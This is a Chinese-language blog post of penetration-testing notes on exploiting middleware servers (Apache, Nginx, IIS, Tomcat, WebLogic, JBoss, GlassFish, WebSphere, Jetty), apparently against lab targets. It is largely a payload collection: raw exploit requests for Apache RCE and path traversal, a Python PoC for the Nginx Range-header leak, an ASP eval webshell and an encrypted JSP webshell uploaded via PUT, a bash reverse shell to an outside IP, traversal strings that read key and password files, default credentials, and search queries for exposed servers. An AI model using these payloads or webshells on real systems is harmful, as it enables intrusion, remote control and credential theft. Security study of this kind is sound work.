中间件安全

中间件安全

一、Apache

  • Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。
  • Apache是用C语言开发的基于模块化设计的web应用,核心代码不多。多数功能分散在各个模块中
1.Apache 解析漏洞(CVE-2017-15715)
  • 影响版本:2.4.0~2.4.29

  • 漏洞原理:apache这次解析漏洞的根本原因就是这个 ∗ ∗ ,正则表达式中,我们都知道 ** ,正则表达式中,我们都知道 ∗∗,正则表达式中,我们都知道用来匹配字符串结尾位置**

    复制代码
    $符号: 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r'
    要匹配 $ 字符本身,请使用\$
    如果设置MULTILINE标示,就当作换符处理,如果不设置就当作一行文本处理
  • 本次实验是vulhub 下的,所以找到apache配置文件,路径在/etc/apache2/ 下, apache2.conf 是apache核心配置文件查看其文件发现如下代码:意思是包含这两个文件下的以conf结尾的文件

    复制代码
    IncludeOptional confenabled/*.conf
    IncludeOptional sitesenabled/*.conf
  • 跟进该文件发现关于php的配置文件为docker-php.conf,打开为如下

    复制代码
    <FilesMatch \.php$>
    	SetHandler application/xhttpdphp
    			</FilesMatch>
  • 可以看到在正则中是 .php , 因为结尾有个 ,因为结尾有个 ,因为结尾有个符号,结合上述原理,$匹配 '\n' 或 '\r',所以我们修改数据包在文件名后加\n,\n的十六进制为0a

  • 首先查看index.php文件中的php源码

    php 复制代码
    <?php
    if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
    exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
    } else {
    ?>
    • 分析代码文件名KaTeX parse error: Undefined control sequence: \n at position 53: ...POST接收不会去掉我们添加的\̲n̲,如果使用_FILES['file']['name'] 去接收文件名,则会吧\n去掉,所以要满足此漏洞的条件之一就是使用POST接收文件名。
    • $ext等于POST中的文件名后缀,所以文件名不能是['php', 'php3', 'php4', 'php5', 'phtml', 'pht'],但是可以是php\n的这种方式,就绕过了if判断。同时这样的文件还以被解析成PHP
  • 上传一个名为1.php的文件,被拦截:

  • 在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截

  • 关于windows和Linux下这个利用是有区别的

    • linux:可以正常利用
    • windows:windows会产生warning的警告,因为涉及到文件读写,而windows操作系统不允许后缀以换行符结尾的文件命名方式,所以这里会文件会创建失败,就出现了这两个warning了,产生warning就证明已将绕过了。
2.RCE(CVE-2021-42013)
  • 影响版本:Apache 2.4.49 和 Apache 2.4.50

  • 打开靶场

  • 任意命令执行

    复制代码
    GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
    Host: 47.99.49.128:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=AE8DC398D32400BA213293A544A573BA
    Upgrade-Insecure-Requests: 1
    If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
    If-None-Match: "2d-432a5e4a73a80"
    Content-Length: 7
    
    echo;id
3.路径穿越漏洞(CVE-2021-41773)
  • 影响版本:Apache 2.4.49 和 Apache 2.4.50

  • 打开靶场

  • 文件读取

    复制代码
    /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

二、Nginx

  • Nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务
1.解析漏洞(CVE-2013-4547)
  • 漏洞原因:PHP配置文件中有一个参数是cgi.fix_pathinfo,如果参数cgi.fix_pathinfo=1 ,则产生该漏洞。关闭pathinfo的情况下,只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php ,这个URI可以匹配上正则 .php$,可以进入这个Location块;但进入后,由于fastcgi在查找文件时被\0截断,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi

  • 打开靶场

  • 上传一个jpg文件,后面命名加一个空格

  • 访问上传文件 phpinfoa.gif[0x20][0x20].php时,将文件修改为phpinfoa.gif[0x20][0x00].php;[0x20]为空格,[0x00]为\0(起到截断作用)

2.整数溢出漏洞(CVE-2017-7529)
  • 影响版本 Nginx 0.5.6 -- 1.13.2

  • 原理

    • Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括"文件头"+"HTTP返回包头"+"HTTP返回包体"。
    • 如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的"HTTP返回包体"返回给用户。
    • 如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。
    • 如果构造了两个负的位置,将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于"HTTP返回包体"前的"文件头"、"HTTP返回包头"等内容。
  • 打开靶场

  • POC

    python 复制代码
    import requests
    import time
    import urllib3
    def cve20177529():
        try:
    
            # 构造请求头
    
            headers = {
                'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
            }
            url = input('请输入目标URL:')
    
            # 获取正常响应的返回长度
    
            #verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
            r1 = requests.get(url,headers=headers,verify=False,allow_redirects=False) 
            url_len = len(r1.content)
    
            # 将数据长度加长,大于返回的正常长度
    
            addnum = 200
            final_len = url_len + addnum
    
            # 构造Range请求头,并加进headers中
    
            # headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
    
            headers = {
                'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
                'Range':"bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
            }
    
            # 用构造的新的headers发送请求包,并输出结果
    
            r2 = requests.get(url, headers=headers,verify=False,allow_redirects=False)
            text = r2.text
            code = r2.status_code
            if ('ETag') in text and code == 206:
                print('存在Nginx整数溢出漏洞(CVE-2017-7529),已输出到cve20177529_log.txt')
    
                # 将结果输出到文本上
    
                with open('cve20177529_log.txt','a',encoding="utf-8") as f:
                    f.write('存在Nginx整数溢出漏洞(CVE-2017-7529)-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
                    f.close
            else:
                print('未检测到漏洞')
    
                # 将结果输出到文本上
    
                with open('cve20177529_log.txt','a',encoding="utf-8") as f:
                    f.write('未检测到漏洞-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
                    f.close    
            
        except Exception as result:
            print(result)
    
    if __name__ == "__main__":
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        cve20177529()
    复制代码
    存在Nginx整数溢出漏洞(CVE-2017-7529)-------------2024-01-20 15:27:15-------------
    
    --00000000000000000002
    Content-Type: text/html; charset=utf-8
    Content-Range: bytes -200-611/612
    
    , 20 Jan 2024 07:24:51 GMT
    Content-Type: text/html; charset=utf-8
    Content-Length: 612
    Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
    Connection: close
    ETag: "59526062-264"
    Accept-Ranges: bytes
    
    <!DOCTYPE html>
    <html>
    <head>
    <title>Welcome to nginx!</title>
    <style>
        body {
            width: 35em;
            margin: 0 auto;
            font-family: Tahoma, Verdana, Arial, sans-serif;
        }
    </style>
    </head>
    <body>
    <h1>Welcome to nginx!</h1>
    <p>If you see this page, the nginx web server is successfully installed and
    working. Further configuration is required.</p>
    
    <p>For online documentation and support please refer to
    <a href="http://nginx.org/">nginx.org</a>.<br/>
    Commercial support is available at
    <a href="http://nginx.com/">nginx.com</a>.</p>
    
    <p><em>Thank you for using nginx.</em></p>
    </body>
    </html>
    
    --00000000000000000002
    Content-Type: text/html; charset=utf-8
    Content-Range: bytes -9223372036854774384-611/612
3.解析漏洞(nginx_parsing_vulnerability)
  • 一些配置错误的情况,与nginx、php版本 无关;security.limit_extensions被设置为了空,故什么文件都是可以执行的,所以在防护的时候,需要将这个配置为.php(即:仅为.php的文件才能执行)

  • 打开靶场

  • 上传图片马,然后在访问返回的路径后面加上/.php

三、IIS

  • Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP、HTTP/2、HTTPS、FTP、FTPS、SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行,但在Windows XP Home版本上并没有IIS。IIS目前只适用于Windows系统,不适用于其他操作系统
  • IIS默认的可执行文件除了asp 还包含这三种 .asa .cer .cdx
1.短文件名漏洞
  • IIS短文件名有以下几个特征:

    • 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)
    • 后缀名最长只有3位,多余的被截断,超过3位的长文件会生成短文件名
    • 所有小写字母均转换成大写字母
    • 长文件名中含有多个".",以文件名最后一个"."作为短文件名后缀
    • 长文件名前缀/文件夹名字符长度符合0-9和Aa-Zz范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件
  • 受影响版本

    复制代码
    IIS 1.0,Windows NT 3.51 
    IIS 3.0,Windows NT 4.0 Service Pack 2 
    IIS 4.0,Windows NT 4.0选项包
    IIS 5.0,Windows 2000 
    IIS 5.1,Windows XP Professional和Windows XP Media Center Edition 
    IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition 
    IIS 7.0,Windows Server 2008和Windows Vista 
    IIS 7.5,Windows 7(远程启用<customErrors>或没有web.config)
    IIS 7.5,Windows 2008(经典管道模式)
    
    注意:IIS使用.Net Framework 4时不受影响
  • 工具利用

    复制代码
    iis_shortname_Scan
    python iis_shortname_Scan.py url
2.上传解析漏洞
  • 目录解析:以xx.asp命名的文件夹里的文件都将会被当成ASP文件执行

    • 创建一个glc.asp文件,查看显示效果

      asp 复制代码
      <%=now() %>
    • 修改为glc.txt,查看一下,代码并没有解析

    • 将glc.txt放在名为glc.asp的目录下,然后访问glc.txt,发现代码被成功解析

  • 文件解析:xx.asp;.jpg 像这种文件名在;后面的直接被忽略,也就是说当成xx.asp文件执行

    • 创建一个glc.asp;.jpg文件,代码被成功解析

3.IIS PUT漏洞
  • 漏洞造成原因

    IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传

  • 把WebDAV设置为允许、然后网站主目录下设置可写入权限

  • 使用IISPutScanner工具查看是否存在put漏洞

  • GET 修改为 OPTIONS 查看可执行命令

  • 使用PUT方法上传名为glc.txt的一句话mua,然后用MOVE方法更改文件名为glc.asp

    asp 复制代码
    <%eval request("glc")%>
    复制代码
    PUT /glc.txt HTTP/1.1
    Host: 192.168.80.152
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ASPSESSIONIDSQQADAAC=FCLNHIICBNNOGELHGDJPBOGM
    Upgrade-Insecure-Requests: 1
    Content-Length: 23
    
    <%eval request("glc")%>
    复制代码
    MOVE /glc.txt HTTP/1.1
    Host: 192.168.80.152
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ASPSESSIONIDSQQADAAC=FCLNHIICBNNOGELHGDJPBOGM
    Upgrade-Insecure-Requests: 1
    Content-Length: 23
    Destination: /glc.asp;.jpg
    
    <%eval request("glc")%>
  • 或者使用工具

四、Tomcat

  • Tomcat 服务器是一个免费的开放源代码的Web 应用服务器 ,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选
  • 当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的
1.Tomcat常见漏洞
复制代码
Tomcat AJP 文件包含漏洞
Tomcat弱口令
Tomcat反序列化漏洞(CVE-2016-8735)
Tomcat本地提权漏洞(CVE-2016-1240)
Tomcat之JMX服务弱口令漏洞
Tomcat的PUT的上传漏洞(CVE-2017-12615)
Tomcat win版默认空口令漏洞(CVE-2009-3548)
Tomcat 样例目录session操控漏洞
2.弱口令+后台拿shell
  • 打开靶场

  • 使用弱口令登录后台

    复制代码
    :8080/manager/html
    
    tomcat:tomcat
  • 将jsp马压缩为.war,完成后上传

    复制代码
    jar -cvf shell.war shell.jsp
  • 完成上传,连接shell

3、PUT上传漏洞(CVE-2017-12615)
  • 在Tomcat配置文件设置了PUT上传方法,在 web.xml 文件,可以发现,默认 readonly 为 true,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控

  • 打开靶场

  • 发送数据包,虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/ )来绕过了限制

    复制代码
    PUT /glc.jsp/ HTTP/1.1
    Host: 47.99.49.128:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Length: 612
    
    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
  • 连接shell

五、weblogic

  • WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVA EE架构的中间件
  • WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
1.weblogic常见漏洞
复制代码
#控制台路径泄露
Weakpassword 弱口令
weblogic SSRF (CVE20144210)漏洞
weblogic 反序列化(CVE20154852)
weblogic 反序列化(CVE20160638)
weblogic 反序列化(CVE20163510)
weblogic 反序列化(CVE20173248)
weblogic 反序列化(CVE20182628)
weblogic 反序列化(CVE20182893)
weblogic 文件上传(CVE20182894)
weblogic XMLDecoder反序列化(CVE201710271)
weblogic XMLDecoder反序列化(CVE20173506)
weblogic 未授权访问CVE202014883(CVE202014882)
2.weblogic文件读取漏洞
  • 文件路径:weblogic/weak_password

  • 版本信息

    复制代码
    Weblogic版本:10.3.6(11g)
    Java版本:1.6
  • 环境启动后,访问http://your-ip:7001/console,即为weblogic后台

  • 弱口令:本环境存在弱口令

    复制代码
    账号:weblogic
    密码:Oracle@123
  • 任意文件读取漏洞的利用

    • 本环境前台模拟了一个任意文件下载漏洞,访问/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件

    • 读取后台用户密文与密钥文件

      • weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain

      • SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件

        复制代码
        /hello/file.jsp?path=security/SerializedSystemIni.dat
      • config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了

        复制代码
        /hello/file.jsp?path=config/config.xml
    • 解密密文

      • 然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文
      • 可见,解密后和我预设的密码一致,说明成功
3.远程代码执行 (CVE-2018-2893)
  • 影响范围

    复制代码
    Oracle WebLogic Server 10.3.6.0
    Oracle WebLogic Server 12.1.3.0
    Oracle WebLogic Server 12.2.1.2
    Oracle WebLogic Server 12.2.1.3
  • 打开靶场

  • 工具梭哈

  • 反弹shell

4.远程代码执行 (CVE-2020-14883)
  • 影响版本

    复制代码
    weblogic 10.3.6.0.0
    weblogic 12.1.3.0.0
    weblogic 12.2.1.3.0
    weblogic 12.2.1.4.0
    weblogic 14.1.1.0.0
  • 启动靶场

  • 直接梭哈

六、Jboss

  • 通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器
  • fofa语法:"JBoss" && title=="Welcome to JBoss™"
1.CVE-2017-12149
影响的版本:5.x和6.x
  • 打开靶场

  • 由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

    复制代码
    bash -i >& /dev/tcp/120.46.39.241/8848 0>&1
    
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDYuMzkuMjQxLzg4NDggMD4mMQ==
  • 工具梭哈

    复制代码
    https://github.com/yunxu1/jboss-_CVE-2017-12149

七、GlassFish

  • GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改
  • fofa搜索语法:"glassfish" && port="4848"
  • 默认端口:4848
1.任意文件读取(CVE-2017-1000028)
  • 影响版本:Oracle GlassFish Server Open Source Edition 4.1版本

  • 打开靶场

  • POC

    • 读密码

      复制代码
      /theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile
    • 读windows文件

      复制代码
      /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
    • 读linux文件

      复制代码
      /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

八、WebSphere

  • WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件

  • 端口:9080---web(http)应用访问端口、9443---web(https)应用访问端口、9060---管理后台访问端口、9043---管理控制台安全端口、8880---SOAP连接器端口等等

  • 漏洞探测在8880端口,后台是9060端口,解析是9080端口

  • fofa语法:

    "websphere" && server=="WebSphere Application Server/7.0" && port="8880"

    "websphere" && server=="WebSphere Application Server/7.0" && port="9060"

1.反序列化(CVE-2015-7450)
  • 漏洞影响版本

    IBM Websphere Application Server 7.0

    IBM Websphere Application Server 6.2

  • 启动环境

    复制代码
    拉取镜像:docker pull iscrosales/websphere7
    启动镜像:docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
  • 漏洞页面

  • 工具梭哈

2.弱口令上传功能拿shell
  • 发现漏洞

  • 访问控制页面,输入admin登录

    复制代码
    :9060/ibm/console/
  • 生成mua,压缩为zip文件,然后修改后缀为.war,点击上传

  • 一直点next,然后设置路径

  • 点击完成,然后选择save

  • 启用我们上传的文件

  • 访问文件需要到特定的访问端口:9080---web(http)应用访问端口、9443---web(https)应用访问端口

九、Jetty

  • Elipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
1.敏感信息泄露
  • CVE-2021-28164

    信息泄露路径:http://目标ip:端口/%2e/WEB-INF/web.xml

  • CVE-2021-28169

    信息泄露路径:http://目标ip:端口/static?/WEB-INF/web.xml

  • CVE-2021-34429

    信息泄露路径:http://目标ip:端口/%u002e/WEB-INF/web.xml

相关推荐
2501_915373883 小时前
Redis线程安全深度解析:单线程模型的并发智慧
数据库·redis·安全
恰薯条的屑海鸥7 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十五期-URL重定向模块)
学习·安全·web安全·渗透测试·网络安全学习
Tipray20067 小时前
让敏感数据在流转与存储中始终守护在安全范围
安全
前端页面仔8 小时前
易语言是什么?易语言能做什么?
开发语言·安全
Python智慧行囊12 小时前
Python 中 Django 中间件:原理、方法与实战应用
python·中间件·架构·django·开发
Johny_Zhao13 小时前
2025年6月Docker镜像加速失效终极解决方案
linux·网络·网络安全·docker·信息安全·kubernetes·云计算·containerd·yum源·系统运维
Guheyunyi15 小时前
监测预警系统重塑隧道安全新范式
大数据·运维·人工智能·科技·安全
IT科技那点事儿17 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
人工智能·安全
竹言笙熙17 小时前
Polarctf2025夏季赛 web java ez_check
java·学习·web安全
痴人说梦梦中人18 小时前
SwaggerFuzzer:一款自动化 OpenAPI/Swagger 接口未授权访问测试工具
网络安全·渗透测试·自动化·api测试·漏洞利用·信息搜集